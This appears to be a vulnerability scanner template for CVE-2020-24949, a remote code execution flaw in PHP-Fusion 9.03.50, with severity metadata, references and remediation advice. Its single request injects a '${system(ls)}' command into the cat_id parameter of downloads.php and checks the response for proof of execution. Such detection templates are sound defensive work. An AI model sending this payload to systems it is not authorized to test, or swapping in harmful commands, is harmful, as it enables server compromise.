id: CVE-2020-24949

info:
  name: PHP-Fusion 9.03.50 - Remote Code Execution
  author: geeknik
  severity: high
  description: PHP-Fusion 9.03.50 downloads/downloads.php allows an authenticated user (not admin) to send a crafted request to the server and perform remote command execution.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected system, potentially leading to full compromise.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of PHP-Fusion.
  reference:
    - https://packetstormsecurity.com/files/162852/phpfusion90350-exec.txt
    - https://github.com/php-fusion/PHP-Fusion/issues/2312
    - http://packetstormsecurity.com/files/162852/PHPFusion-9.03.50-Remote-Code-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24949
    - https://github.com/404notf0und/CVE-Flow
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-24949
    cwe-id: CWE-77
    epss-score: 0.91365
    epss-percentile: 0.99674
    cpe: cpe:2.3:a:php-fusion:php-fusion:9.03.50:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: php-fusion
    product: php-fusion
  tags: cve,cve2020,rce,php,packetstorm,phpfusion,php-fusion,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/infusions/downloads/downloads.php?cat_id=${system(ls)}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "infusion_db.php"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210099237886958116c1e7660b52d26b2b7c727bb4977afd4e089aa29fa210552233022040e728bc5eeaeadcaf60b6929603abd3ef0755978e46d6759458a18c77d3b707:922c64590222798bb761d5b6d8e72950